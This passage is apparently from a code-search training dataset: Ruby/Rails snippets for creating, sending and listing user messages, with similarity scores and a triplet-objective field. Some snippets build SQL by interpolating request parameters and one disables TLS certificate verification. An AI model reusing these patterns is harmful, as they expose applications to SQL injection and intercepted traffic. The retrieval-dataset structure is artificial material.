username,\n text: text,\n time: nil\n )\n signal_change(type, msg)\n end", "def create\n\n @message = Message.new(message_params)\n @message.sender = current_user\n @message.recipients << current_user\n to = params[:to]\n if to.nil?\n group = Group.find_by(id: params[:group_id])\n @message.groups << group\n to = []\n unless group.nil?\n group.users.each do |user|\n to << user.username\n end\n end\n else\n to = to.split(/\\s*,\\s*/)\n end\n to.each do |user_str|\n user = User.find_by(username: user_str)\n if user.nil?\n user = User.find_by(email: user_str)\n end\n unless user.nil?\n unless @message.recipients.include?(user)\n @message.recipients << user\n end\n end\n end\n\n respond_to do |format|\n if @message.save\n if group.nil?\n format.html { redirect_to messages_url, notice: 'Message was successfully created.' }\n else\n format.html { redirect_to group, notice: 'Message was successfully created.' }\n end\n format.json { render :show, status: :created, location: @message }\n else\n format.html { redirect_to messages_url }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end", "def push(user_id,message)\n if !user_id.to_s.empty?\n if !message.to_s.empty?\n params = {:userId => user_id, :message => message}\n _send_request(params,PushNotificationUrl)\n else\n raise \"Message must be required\"\n end\n else\n raise \"User ID must be required\"\n end\n end", "def start_command(message)\n user =\n TelegramUser.where(chat_id: message.chat.id).first_or_initialize\n user.chat_id = message.chat.id\n user.name = \"#{message.from.first_name} #{message.from.last_name}\"\n user.save!\n api_send_message(chat_id: message.chat.id,\n text: \"Hello #{message.from.first_name}\")\n end", "def with_id(id)\n args = self.to_h\n args[:id] = id\n Message.new(args)\n end", "def on_newmessage(time, userid, username, msg)\n end", "def mention(conversation_id, user_id, author_id)\n @conversation = Conversation.find(conversation_id)\n @user = User.find(user_id)\n @author = User.find(author_id)\n mail(:to => @user.email, :subject => _('%s mentioned you in %s on %s.') % [\n @author.full_name, @conversation.title, Founden::Config.app_name\n ])\n end", "def message_email(user, sender, message, convoID)\n \t@user = user\n \t@message = message\n \t@sender = sender\n \t@url = 'http://www.projecthelp.co/inbox/' + convoID.to_s\n\n \tmail :to\t\t=> user.email,\n :subject\t=> \"New message from \" + @sender.first_name\n end", "def send_message(user, message)\n # append the time to the message so twitter doesn't complain to us about duplicate statuses\n message += \" (at #{Time.now})\"\n begin\n if is_follower?(user)\n logger.info \"sending direct message to #{user.screen_name}: #{message}\"\n response = direct_message_create(user.screen_name, message)\n else\n logger.info \"sending public message to #{user.screen_name}: #{message}\"\n response = update(\"@#{user.screen_name} #{message}\")\n end\n rescue Twitter::Error => e\n logger.error \"error sending message: #{e.message}\"\n end\n end", "def addrecipient(msgid, recipient)\n req(\"addrecipient\", recipient, \"\", msgid, \"\")\n end", "def add_message(name, message)\n\t\tend", "def set_sender(sender_id)\n fb_user = Messenger::Client.get_user_profile(sender_id)\n @customer = Client.find_or_create_by(name: fb_user[\"first_name\"], last_name: fb_user[\"last_name\"], picture: fb_user[\"profile_pic\"], sender_id: sender_id)\n end", "def create\n @to = User.find(params[:message][:to])\n current_user.send_message(@to, params[:message][:topic], params[:message][:body])\n redirect_to outbox_url\n end", "def create\n body = message_params[:Body]\n phone_number = message_params[:From]\n @message = Message.create(body: body, phone_number: phone_number)\n @message.reply_to_user\n head :ok\n end", "def create\n @message = Message.new(params[:message])\n if params[:recipient_ids]\n recipients = User.find(params[:recipient_ids])\n for rec in recipients\n @message.recipients << MessageRecipient.new({:user_id => rec.id, :message_id => @message.id, :read => :false, :parent_id => current_user.id})\n end\n end\n\n respond_to do |format|\n if current_user.messages << @message\n if params[:sendmethod] == \"Instant\"\n if @message.send_message!\n flash[:notice] = \"Successfully sent...\"\n format.html { redirect_to sent_account_messages_url }\n else\n flash[:error] = \"An error has been raised...\"\n end\n else\n flash[:notice] = 'Message was successfully created.'\n format.html { redirect_to outbox_account_messages_url }\n end\n \n \n format.xml { render :xml => @message, :status => :created, :location => @message }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @message.errors, :status => :unprocessable_entity }\n end\n end\n end", "def answer_message(from, to, subject, message, conv_id, mess_id)\r\n conv = self.conversations.fetch(conv_id.to_s)\r\n time = Time.new\r\n message = Message.create(from, to, subject, time, message, mess_id)\r\n conv.add_message(message)\r\n end", "def create\n @message = Message.new(message_params)\n @message.user = current_user\n if @message.save\n #ActionCable.server.broadcast \"messages_#{params[:authid]}\", message: @message.content, user: current_user.name\n head :ok\n else\n render :edit\n end\n end", "def broadcastMsgFrom( user, msg )\n\t\tuserDesc = user.to_s\n\n\t\t@users.each {|cl|\n\t\t\tnext if cl == user\n\t\t\tcl.addOutput( \"#{userDesc}>> #{msg}\" )\n\t\t}\n\tend", "def message_params\n\n params.require(:message).permit(:user_id, :body, :sender_id, :sender, :recipient)\n\n end", "def create\n @message = Message.new(message_params)\n @message.user_id = session[:user_id] # get user_id\n @message.sender = current_user[:email] # and store it in message\n @message.wasread = false\n\n # for letting the user know my id\n @message.recipid = current_user[:id]\n \n if @message.save\n # Handle a successful save\n flash[:success] = \"Your message was successfully created.\"\n redirect_to @message\n else\n render 'new'\n end\n \n # respond_to do |format|\n # if @message.save\n # # format.html { redirect_to @message, success: 'Message was successfully created.' }\n # # format.json { render :show, status: :created, location: @message }\n # flash[:success] = \"Message successfully created.\"\n # else\n # format.html { render :new }\n # format.json { render json: @message.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def create_message_if_user_updated\n if !message && !id_changed? && user_id_changed? && user && user.master_consult && (!outbound? || user.phone == destination_phone_number)\n Message.create!(\n user: user,\n consult: user.master_consult,\n phone_call_id: id\n )\n end\n end", "def send_message(_target, text) # rubocop:disable Metrics/AbcSize\n url = \"https://api.gitter.im/v1/rooms/#{config.room_id}/chatMessages\"\n uri = URI.parse(url)\n\n Net::HTTP.start(\n uri.host,\n uri.port,\n use_ssl: true,\n verify_mode: OpenSSL::SSL::VERIFY_NONE,\n ) do |http|\n request = Net::HTTP::Post.new(uri.path)\n request.add_field('Content-Type', 'application/json')\n request.add_field('Accept', 'application/json')\n request.add_field('Authorization', \"Bearer #{config.token}\")\n request.body = { 'text' => text }.to_json\n response = http.request(request)\n\n @user_id = MultiJson.load(response.body)['fromUser']['id']\n end\n end", "def sender_user_id\n return @sender_user_id\n end", "def create \n @message = Message.new(message_params)\n @message.sender_id = current_user.id\n\n respond_to do |format|\n if @message.save\n format.html { redirect_to @message, notice: 'Message was successfully created.' }\n format.json { render :show, status: :created, location: @message }\n else\n format.html { render :new }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_participant\n user = User.find(params[:user_id])\n\n unless user_is_initiator(current_user, @chat)\n return fail_response(['You are not an author of the conversation'], 403)\n end\n\n if user_related_to_chat(@chat, user)\n return fail_response(['User is already in chat'], 403)\n end\n\n @chat.add_participant(user)\n\n render json: { message: 'success' }, status: :ok\n end", "def create\n params[:message][:user] = current_user\n to_user = User.find_by_login(params[:message][:to_user])\n if !to_user\n flash[:notice] = \"Couldn't find that person! Make sure you're typing the name correctly.\"\n redirect_to :back\n return false\n end\n params[:message][:to_user] = to_user.id\n \n @message = Message.new(params[:message])\n\n respond_to do |format|\n if @message.save\n to_user = User.find(@message.to_user)\n format.html { redirect_to(messages_path, :notice => \"Message was sent to #{to_user.login}\") }\n format.xml { render :xml => @message, :status => :created, :location => @message }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @message.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @message = Message.new(params[:message])\n @message.user_id = current_user.id\n \n respond_to do |format|\n if @message.save\n format.json { render json: @message, status: :created}\n else\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end", "def sender\n user = User.find_by_id(sent_by)\n \"#{user.first_name} #{user.last_name}\"\n end", "def create\n\n @message = current_user.messages.build\n @message.subject = params[:message][:subject]\n @message.body = params[:message][:body]\n# @message.to User.find_by_username(params[:message][:to])\n @message.to User.find(:all, :conditions=>[\"username IN (\\\"#{params[:message][:to].split(',').join(\"\\\",\\\"\")}\\\")\" ]) unless params[:message][:to].nil?\n\n\n respond_to do |format|\n if @message.save\n @message.deliver\n\n flash[:notice] = 'Message was successfully created.'\n format.html { redirect_to(@message) }\n format.xml { render :xml => @message, :status => :created, :location => @message }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @message.errors, :status => :unprocessable_entity }\n end\n end\n end", "def facebook_wall_post(options = {})\n raise 'must provide message' if ( message = options.delete(:message) ).blank?\n raise 'must provide :id' if ( id = options.delete(:id) ).blank?\n UserMailer.simple(:to => \"richard@hourschool.com, ruby@hourschool.com\", :subject => \"someone invited a friend with facebook\", :body => \"User Number: #{self.id}\").deliver\n facebook_graph.put_wall_post(message, options, id)\n end", "def forward_message_id=(*args); end", "def create\n \n @message = current_user.messages.build(params[:message])\n\n \n if @message.save\n \n flash[:notice] = \"Message Sent\"\n else \n flash[:notice] = \"Opps.\"\n end\n \n end", "def create\n @message = Message.new(params[:message])\n @message.sender = current_user\n @message.recipient = User.find_by_username(params[:message][:to])\n\n respond_to do |format|\n if @message.save\n format.html { redirect_to @message, notice: 'Сообщение отправлено.' }\n format.json { render json: @message, status: :created, location: @message }\n else\n format.html { render action: \"new\" }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end", "def message_params\n params.require(:message).permit(:user_id, :text)\n end", "def new\n @message = Message.new\n if params[:id]\n @user = User.find params[:id]\n if not @user\n flash[:error] = 'Cannot find that user'\n return redirect_to :back\n end\n end\n @message.recipient = @user\n end", "def message_params\n params.require(:message).permit(:body, :user_id)\n end", "def message_params\n params.require(:message).permit(:body, :user_id)\n end", "def repeat_message(sender, body)\n text = \"*#{sender.nick}*: #{body}\"\n @users.each do |u|\n next if u == sender\n u.enqueue_message(text)\n end\n end", "def add(msg)\n attributes = {:message => msg, :conversation => msg.conversation}\n attributes[:mailbox] = @type.to_s unless @type == :all\n attributes[:read] = msg.sender.id == @user.id\n mail_msg = MailItem.new(attributes)\n @user.mail_items << mail_msg\n return mail_msg\n end", "def add_friend(user, destination_user)\n manage_friend user,destination_user, 'added'\n end", "def update\n conversation = Conversation.find(params[:conversation_id])\n conversation.messages << Message.new(user_id: current_user.id, body: params[:body])\n conversation.save\n\n redirect_to conversation_path(conversation)\n end", "def create\n @message = current_owner.messages_as_sender.new(message_params)\n respond_to do |format|\n if @message.save\n format.html { redirect_to messages_path, notice: 'Message was successfully created.' }\n format.json { render :show, status: :created, location: @message }\n else\n format.html { render :new }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_message(type, text, id=nil)\n @messages ||= []\n @messages.push({type: type, text: text, id: id})\n end", "def send_message\n twilio_service = TwilioService.new \n twilio = twilio_service.client\n if @user.first_name.downcase == 'brooks' && @user.last_name.downcase =='swinnerton'\n \n twilio.messages.create(\n from: '+18593501304',\n to: \"+1#{@user.phone_number}\",\n body: 'LOOK AT THIS CUTIE!',\n media_url: 'http://media-cache-ec0.pinimg.com/avatars/bswinnerton-57_140.jpg'\n )\n else\n twilio.messages.create(\n from: '+18593501304',\n to: \"+1#{@user.phone_number}\",\n body: 'LOOK AT THIS CUTIE!',\n media_url: @reddit.first_picture\n )\n end\n end" ]
[ "0.7130977", "0.702478", "0.7009058", "0.689858", "0.6893213", "0.6836311", "0.66877353", "0.66082627", "0.65985245", "0.65744346", "0.65359706", "0.64976954", "0.64968634", "0.6470018", "0.6446893", "0.643502", "0.6415428", "0.64149505", "0.6408142", "0.6400727", "0.63836414", "0.63701797", "0.6361581", "0.63607484", "0.6352866", "0.6343536", "0.634272", "0.63094896", "0.63047665", "0.62950814", "0.62852514", "0.62770873", "0.62614554", "0.62614554", "0.6249961", "0.6235913", "0.6232017", "0.62266654", "0.622003", "0.6210632", "0.621044", "0.62022114", "0.62022114", "0.61893", "0.61881787", "0.61870193", "0.6182789", "0.6166036", "0.6161459", "0.61605537", "0.61436856", "0.61336714", "0.61299676", "0.6128585", "0.6127846", "0.61268586", "0.6121495", "0.6119861", "0.6115219", "0.61116683", "0.61069834", "0.6106606", "0.60878587", "0.60818547", "0.6070963", "0.60696816", "0.60646677", "0.60611635", "0.6057899", "0.60565436", "0.60416454", "0.6039745", "0.6037237", "0.603557", "0.6034935", "0.6034778", "0.60313034", "0.6030998", "0.60229903", "0.60216516", "0.6015048", "0.59940624", "0.59929335", "0.59897274", "0.5986432", "0.5974561", "0.5973215", "0.5971631", "0.59677625", "0.5967297", "0.5966923", "0.5965398", "0.5965398", "0.5951139", "0.59486496", "0.5942797", "0.59418845", "0.5941672", "0.5941013", "0.593833" ]
0.75429964
0
return all mending messages for user
def count_pending_messages_for(_user) Rails.cache.fetch(get_unread_cache_key_for(_user.id), expires_in: 1.week.from_now) do _member = conversation_members.where(user_id: _user).take if _member.present? messages.where('messages.created_at > ?', _member.last_seen).count else 0 end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def all_messages\r\n self.users_messaged + self.users_messaged_by\r\n end", "def all_messages\r\n self.users_messaged + self.users_messaged_by\r\n end", "def messages_from user\n backend.messages_page(user).messages\n end", "def all_messages\n Message.all\n end", "def index\n\n @users_with_conversation = []\n @messages = Message.where(receiver_id: params[:user_id]).reverse_order\n @new_messages = @messages.where(unread: true)\n @messages.each do |message|\n unless @users_with_conversation.include?(message.sender)\n @users_with_conversation.push(message.sender)\n end\n end\n @messages = Message.all\n end", "def messages\n user_ids = users.pluck(:id)\n rooms_user_ids = RoomsUser.where(room_id: self.id, user_id: user_ids).pluck(:id)\n RoomMessage.where(rooms_user_id: rooms_user_ids).order(created_at: :asc)\n end", "def getContacts\n messages = [] \n \n if !self.received_messages.nil?\n messagesRecv = (self.received_messages.order(:updated_at)).reverse \n\t messagesRecv.each do |recv|\n\t user = User.find(recv.sender_id)\n\t unless messages.include?(user)\n\t\t messages += [user]\n\t\t end\n\t end\n end\n if !self.send_messages.nil?\n messagesSend = (self.send_messages.order(:updated_at)).reverse \n\t messagesSend.each do |send|\n\t user = User.find(send.receiver_id)\n\t unless messages.include?(user)\n\t\t messages += [user]\n\t\t end\n\t end\n end\n\t return messages\n end", "def inbox\n user_sent = Message.where(user_id: current_user, group_id: nil, show_user: true)\n user_received = Message.where(recipient_id: current_user, show_recipient: true)\n @messages = (user_sent + user_received).sort{|a,b| a.created_at <=> b.created_at }\n end", "def messages\n msgs = []\n favorites.each do |fav|\n fav.messages.each do |message|\n msgs << message\n end\n end\n msgs\n end", "def index\n @messages_received = current_user.messages\n @messages_sent = Array.new\n\n Message.all.each do |message|\n if message.sender == current_user.username\n @messages_sent.push(message)\n end\n end\n end", "def index\n @users = current_user.sent_messages.distinct.map(&:receiver)\n @users += current_user.received_messages.distinct.map(&:sender)\n @users = @users.uniq\n end", "def received\n @messages = Message.sent_to current_user\n end", "def sent_messages\n @user = current_user\n\t # retrieve all sent messages by the current user\n @sent_messages = @user.sent_messages.sort_by{|m| m.created_at}.reverse\n @unread_messages = Message.find(:all, :conditions => {:receiver_id => current_user.id, :unread => true})\n end", "def get_recipient_send_message(text)\n (subscribers + friend_list) - blocked_outs\n end", "def receivedMessagesToUser\n render json: Message.where(receiver_id: params[:id], created_at: (Time.now - 30.day)..Time.now).limit(100)\n end", "def messages\n all_messages = []\n @all.each do |e|\n all_messages += e[:messages]\n end\n all_messages\n end", "def users_messaged_by\r\n self.users_who_messaged_me\r\n end", "def users_messaged_by\r\n self.users_who_messaged_me\r\n end", "def messages\n\t\t@musician = User.find_by_id(params[:id])\n\t\t@messages = @musician.messages\n\tend", "def find_all_messages\n\t\tif self.forsale\n\t\t\treturn Message.where('seller_item_id == ?', self.id) \n\t\telsif self.wanted \n\t\t\treturn Message.where('buyer_item_id == ?', self.id) \n else \n\t \t\treturn nil \t\n\t end \n\tend", "def inbox\n @messages = current_user.received_messages\n end", "def send_pending_messages\n self.mailbox.conversations.where(mailboxer_label_id: Mailboxer::Label::INFORMATION.id).each do |conversation|\n # Get the message that should have been sent\n message = conversation.messages.first\n # Select the admin who should receive the message\n recipient = message.recipients.detect{ |recipient| recipient.is_a? Admin }\n MailboxerMessageMailer.delay(queue: 'mailers').new_message_email_to_admin(message, recipient)\n end\n nil\n end", "def find_all_messages\n if self.forsale\n return Message.where('seller_item_id == ?', self.id)\n elsif self.wanted\n return Message.where('buyer_item_id == ?', self.id)\n else\n return nil\n end\n end", "def unread_messages user_id\n messages.unread(user_id)\n end", "def read_messages\n @useConversations = Message.where(\"user_id = (?)\", current_user.id).pluck(:conversation_id)\n if @useConversations.count > 0\n @useConversations = @useConversations.uniq # Unique\n @useConversations = @useConversations.map(&:inspect).join(', ')\n #@updatemsg = Message.where(\"user_id != (?) and conversation_id IN (?)\", current_user.id, @useConversations).update_all(:mark_as_read => true)\n @updatemsg = Message.where(\"user_id != #{current_user.id} and conversation_id in (#{@useConversations})\").update_all(:mark_as_read => true)\n session[:mark_messages] = 0 # Mark as read messages\n end\n end", "def messages\n read_only()\n @conn.uid_search(['ALL']).map do |uid|\n Message.new(@conn, uid)\n end\n end", "def sent\n @messages = Message.sent_by current_user\n end", "def unread_messages(user)\n Rails.cache.fetch(\"#{cache_key_with_version}/unread_messages/#{user.id}\") do\n Message.unread_by(user).where(chat_room: self).where.not(user: user).to_a\n end\n end", "def my_messages\n my_mesgs = Message.includes(:user).where(receiver_id: @current_user.id).order(created_at: :desc)\n if my_mesgs.any?\n render json: my_mesgs, :include => {\n :user => {\n :only => [:id, :firstname, :lastname]\n }\n },\n status: :ok\n else\n render json: {\n status: 'no-content',\n message: 'You don\\'t have any message yet',\n data: []\n },\n status: :no_content\n end\n end", "def index\n list = current_user.chats.pluck :id\n\n options = filter_params\n options[:id] = filter_params[:id] == 'all' ? list : [filter_params[:id]]\n @messages = ChatMessage.filter options\n @messages = @messages.group_by(&:chat_id)\n end", "def get_messages\n \tuser = User.find(params[:user_id]);\n \tif user\n \t\tmessages = Message.where(message_type: user.user_type)\n \t\tconversation = Conversation.where(request_id: params[:request_id])\n texts = []\n conversation.each{ |msg| texts.push(Message.find_by(id: msg.message_id) ? Message.find(msg.message_id) : {})}\n \t\trender json: {messages: messages, conversation: conversation, texts: texts}\n \telse\n\t\trender json: {error: 'User not found.'}\n \tend\n end", "def messages()\n []\n end", "def chat_with user, limit=20\n from_to_stamp = [\"#{self.id}-#{user.id}\",\"#{user.id}-#{self.id}\"]\n Message.where(:from_to_stamp.in => from_to_stamp).order_by([:created_at,:desc]).limit(limit)\n end", "def messagebox\n\t\t# retrieve all messages and unread messages of current user\n @user = current_user\n @messages = Message.paginate_by_receiver_id @user.id, :page => params[:page], :order => 'created_at DESC', :per_page => 10\n @unread_messages = Message.find(:all, :conditions => {:receiver_id => current_user.id, :unread => true})\n end", "def sent_messages\n @user = User.find(params[:id])\n @messages = Message.find(:all, :conditions => [\"(messages.user_id = #{current_user.id} and messages.receiver_id = #{@user.id}) and messages.user_status != 'deleted'\"], :order => \"created_at Desc\")\n respond_to do |format|\n format.xml { render :xml => @messages }\n format.json { render :json => @messages }\n end\n end", "def sent_message\n\t\t@current_user_conversations = Conversation.where('sender_id = ?',current_user.id)\n\t\t# @sent_messages = current_user_conversations.first.messages\n\t\t@sent_messages = []\n\t\t@current_user_conversations.each do |current_user_conversation|\n\t\t\t# @test_sent_messages = current_user_conversation.messages.map {|message| message}\n\t\t\tcurrent_user_conversation.messages.each do |message|\n\t\t\t\t@sent_messages << message\n\t\t\tend\n\t\tend\n\tend", "def index\n\t\t@messages = Message.where(:to_user => current_user.id)\n\t\trespond_with(@messages) \n\tend", "def get_messages!\n\t\t\t# clear messages\n\t\t\tmsgs = messages\n\t\t\tdb_set({}, { messages: [] })\t\t\t\n\t\t\tmessages = Set.new\n\t\t\treturn { messages: msgs }\n\t\tend", "def all_messages\n @all_messages = Messages.all\n end", "def index\n @messages = current_user.received_messages\n @messages = @messages.order(created_at: :desc)\n @messages = @messages.paginate(page: params[:page], per_page:5)\n @messages = @messages.to_a\n end", "def game_messages\n messages = GameMessage.team_game_messages(current_user.team_id, @game.id)\n messages.map { |message|\n data = message.from_admin ? 'От организатора, в ' : 'От команды, в '\n data << message.created_at.strftime('%H:%M:%S')\n data << ('<br>').html_safe\n data << message.data.html_safe\n content_tag(:div, data.html_safe, class: message.message_type).html_safe\n }.join.html_safe\n end", "def get_messages\n @connection.search(@filter).each do |message|\n body = @connection.fetch(message, \"RFC822\")[0].attr[\"RFC822\"]\n begin\n @processor.process(body)\n rescue StandardError => error\n Mailman.logger.error \"Error encountered processing message: #{message.inspect}\\n #{error.class.to_s}: #{error.message}\\n #{error.backtrace.join(\"\\n\")}\"\n next\n end\n @connection.store(message, \"+FLAGS\", @done_flags)\n end\n # Clears messages that have the Deleted flag set\n @connection.expunge\n end", "def sent\n @messages = current_user.sent_messages\n end", "def index\n @messages = Message.where(user_id: current_user.id)\n end", "def index\n @messages = current_user.messages_in.order('created_at ASC').group('sender_id')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @messages }\n end\n end", "def list_of_messages()\n\t\t\n\t\t#Create a new request\n\t\trequest_url = \"https://www.googleapis.com/gmail/v1/users/#{@email}/messages?labelIds=Label_1&access_token=#{@access_token}\"\n\n\t\t#GET REQUEST\n\t\tresponse = RestClient.get request_url\n\t\tresponse_body = JSON.parse(response.body)\n\n\t\t#Looping through all the Messages and grabbing id\n\t\tmessages= Array.new\n\n\t\ttemp = response_body['messages']\n\t\ttemp.each do |item|\n\t\t\tmessages.push(item['id'])\n\t\tend \n\t\n\t\treturn messages\n\tend", "def retrieve\n messages = @redd.my_messages('moderator', false, limit: RETRIEVAL_COUNT)\n messages = expand(messages)\n messages.map do |m|\n TaggedData.new(m.name, m)\n end\n end", "def index\n\n @messages = Message.none\n\n if user_signed_in? then\n my_mutes = Mute.where(user_id: current_user.id).select(:target_id)\n receive_messages = Message.where(user_id: current_user.id)\n\n messages = Message.none.or(receive_messages).where.not(sender_id: my_mutes)\n @messages = Message.none.or(messages).where(\"create_datetime > ?\", Constants::MESSAGE_RETENTION_PERIOD.ago).order(create_datetime: :desc)\n\n @messages.update(read_flag: true)\n\n send_messages = Message.where(sender_id: current_user.id)\n @send_messages = Message.none.or(send_messages).where(\"create_datetime > ?\", Constants::MESSAGE_RETENTION_PERIOD.ago).order(create_datetime: :desc)\n\n else\n respond_to do |format|\n format.html { redirect_to new_user_session_path, alert: 'ログインしてください。' }\n format.json { head :no_content }\n end\n end\n\n end", "def index\n @peer_to_peer_messages_incoming = PeerToPeerMessage.where(reciever: @current_user.id).order('updated_at desc')\n @peer_to_peer_messages_outgoing = PeerToPeerMessage.where(sender: @current_user.id).order('updated_at desc')\n end", "def inbox\n cur_emp = get_logged_employee\n @messages = Message.where(\"sent_to = ?\", cur_emp).where(:is_deleted => nil )\n render \"resumes/message_show\"\n end", "def new_messages\n self.messages.where(mailgun_reply_to_id: nil) \n end", "def messages\n @queue.messages.select { |m| m.claim == self }\n end", "def retrieve_messages(from = 10)\n uri = \"/#{@get_url}?#{get_query_string}\"\n lists = []\n @https_.start do\n body = @https_.get(uri, @get_header_).body\n StringIO.open(body, 'rb') do |sio|\n content = Zlib::GzipReader.wrap(sio).read\n lists = JSON.load(content)['result']['chat_list']\n end\n end\n\n new_message = []\n lists.each do |list|\n if list['tm'] >= Time.now.to_i - from\n new_message << list['msg']\n end\n end\n\n return new_message\n end", "def all_sent_messages\n self.all_classes_and_modules.flat_map do |klassmod|\n klassmod.all_messages.as_array\n end.uniq\n end", "def messages\n proxy_exceptions do\n @page.conversations.map do |conversation|\n conversation.messages.map do |data|\n Services::Facebook::Message.new do |message|\n message.id = data.identifier\n message.message = data.message\n message.created_at = data.created_time\n message.author = Services::Facebook::User.new do |user|\n user.id = data.from.identifier\n user.name = data.from.name\n end\n end\n end\n end.flatten\n end\n end", "def thread_messages\n #thread.messages + [thread]\n Message.where([\"id = ? or parent_id = ?\", thread_id, thread_id])\n end", "def get_mails\n gmail = Gmail.connect @current_user.login, @current_user.password\n return nil unless gmail.logged_in?\n\n mails = gmail.inbox.find :unread, after: @filter_date + 1\n sent_mails = gmail.label(\"[Gmail]/Sent Mail\").find(afetr: @filter_date + 1)\n sent_mails.each { |e| mails << e }\n mails.sort_by!(&:date)\n\n end", "def messages\n Client.get(EVENTS_PATH, {\n recipient: @email_address\n })\n end", "def messages\n @previous.select { |event, _data| event == :message }.map(&:last).join\n end", "def messages\n Message\n .where(\"messages.user_id = :user OR messages.recipient_id = :user\", user: id)\n .where.not(\"messages.recipient_id = :user AND messages.status = :status\", user: id, status: 0)\n .where.not(\"messages.recipient_id = :user AND messages.status = :status\", user: id, status: 4)\n .includes(:permissions).order(\"permissions.created_at DESC\")\n end", "def inbox\n @messages = current_user.received_messages\n respond_with @messages\n end", "def index\n # @messages = Message.all\n # @messages = Message.where(user_id: session[:user_id])\n\n @messages = Message.where(recipient: current_user[:email])\n @sent_messages = Message.where(user_id: session[:user_id])\n @username = current_user[:email]\n end", "def get_messages\n @connection.uid_search(@filter).each do |message|\n puts \"PROCESSING MESSAGE #{message}\"\n body=@connection.uid_fetch(message,\"RFC822\")[0].attr[\"RFC822\"]\n @processor.process(body, @options)\n @connection.uid_copy(message, 'Processed')\n\n @connection.uid_store(message,\"+FLAGS\",[:Deleted])\n end\n @connection.expunge\n #@connection.delete_all\n end", "def index\n @messages = current_user.is_support? ? Message.where(message_id: nil).order(\"support_call desc, updated_at desc\").includes(:replies).all : Message.where(user_id: current_user.id, message_id: nil).order(\"user_call desc, updated_at desc\").includes(:replies).all\n end", "def all_messages(graph, threads, login_user)\n cache.cache(\"messages\"+login_user, :expires_in => 1.day){\n # Array of all the messages. This object will contain\n # the return value at any given time.\n all_messages = {}\n\n # Process each thread object\n threads.each do |t|\n\n # We have enough messages now, so stop the loop.\n if all_messages.length > MAX_COMMENTS\n break\n end\n\n # Fetch the comment object the contains messages\n comments = graph.get_connections(t['id'], 'comments')\n all_messages = comments_recursive all_messages, comments, [login_user], 1, MAX_DEPTH\n end\n\n # Return the array of messages\n text_value all_messages\n }\n end", "def unread_messages\n @user_wise_unread_messages = current_user.user_messages\n .where(is_read: false)\n .joins(:message)\n .group('messages.user_id').count\n end", "def get_lastmessages(id, query=nil, from=nil, count=1)\n result = @telegram.search_chat_messages(id, query.to_s, from.to_i, 0, 0, count.to_i, TD::Types::SearchMessagesFilter::Empty.new).value\n return (result) ? result.messages : [] \n end", "def get_chat_messages\n # get chat messages\n chats = Message.includes(:user).where(receiver_id: @current_user.id, user_id: params[:user_id], request_id: params[:request_id]).or(Message.includes(:user).where(user_id: @current_user.id, receiver_id: params[:user_id], request_id: params[:request_id])).order(created_at: :asc)\n if chats.any?\n render json: chats, :include => {\n :user => {\n :only => [:id, :firstname, :lastname]\n },\n },\n status: :ok\n else\n render json: {\n status: 'no-content',\n message: 'No chat on this request yet'\n },\n status: :no_content\n end\n end", "def index\n @user = current_user\n @last_messages = Message.find_by_sql(\"SELECT MAX(maxid) AS id FROM (SELECT MAX(id) AS maxid, receiver_id AS user_id FROM messages WHERE sender_id='#{current_user.id}' GROUP BY sender_id, receiver_id UNION SELECT MAX(id) AS maxid, sender_id AS user_id FROM messages WHERE receiver_id='#{current_user.id}' GROUP BY receiver_id, sender_id) helper GROUP BY user_id ORDER BY MAX(maxid) DESC\")\n end", "def index\n if !user_signed_in?\n flash.alert = \"You must be logged in to use Messaging\"\n redirect_to root_path\n return\n elsif current_user.rolable.class.name != \"Charity\" && current_user.rolable.class.name != \"Business\"\n flash.alert = \"Messaging is available to Charities and Businesses only\"\n redirect_to root_path\n return\n end\n\n all_messages = (Message.where(\"user_received_id = \" + current_user.id.to_s + \" OR user_sent_id = \" + current_user.id.to_s)).order(:id)\n \n @friends = []\n \n # get people online\n @friends << User.where.not(rolable_type: \"Donor\").where(\"last_ping_time >= ? AND id != ?\", Time.current - 1.minutes, current_user.id) \n\n # get existing conversations\n all_messages.each do |x|\n if(x.user_received_id == current_user.id)\n @friends << User.find(x.user_sent_id) unless @friends.include?(User.find(x.user_sent_id))\n else\n @friends << User.find(x.user_received_id) unless @friends.include?(User.find(x.user_sent_id))\n end\n end\n\n # get people up to 10 total people\n if(@friends.count < 9) \n @friends << User.where.not(rolable_type: [\"Donor\", current_user.rolable_type]).where(\"last_ping_time <= ? or last_ping_time is null\", Time.current - 1.minutes).limit(10 - @friends.count)\n end\n\n @friends.flatten!\n @friends.uniq!\n @search_users = searchUsers()\n @last_message = all_messages.last()\n end", "def current_user_last_messages\n @last_messages = current_user.messages.unseen.limit(5) if current_user\n end", "def message_list\n list = []\n each do |k, v|\n list.concat(v.message_list)\n end\n list\n end", "def conversation\n @user = User.find(params[:id])\n @messages = Message.find(:all, :conditions => [\"((messages.user_id = #{current_user.id} and messages.receiver_id = #{params[:id]}) and messages.user_status != 'deleted') or ((messages.receiver_id = #{current_user.id} and messages.user_id = #{params[:id]}) and messages.receiver_status != 'deleted')\"], :order => \"created_at Desc\")\n for message in @messages\n if message.receiver_id == current_user.id\n message.update_attribute(:receiver_status, \"read\") if message.receiver_status == \"unread\"\n end\n end\n respond_to do |format|\n format.xml { render :xml => @messages }\n format.json { render :json => @messages }\n end\n end", "def new_message_check\n if(!current_user.nil?)\n ids = Message.where(user_received_id: current_user.id, read: false).pluck(:user_sent_id).uniq\n if ids.count > 0\n ids = Message.where(user_received_id: current_user.id, read: false).pluck(:user_sent_id).uniq\n render text: '{\"unread\":\"true\", \"ids\":[' + ids.join(',') + ']}'\n else\n render text: '{\"unread\":\"false\"}'\n end\n else \n render text: '{\"unread\":\"false\"}'\n end\n end", "def index\n \n # puts \" begin \"\n # puts User.findUser(params[:user_email]).inspect #Message.where(reciever: params[:user_id])\n # puts \" end \"\n \n @messages = Message.where(reciever: User.findUser(params[:user_email]).id)\n end", "def messages\n Enumerator.new do |y|\n loop do\n y << 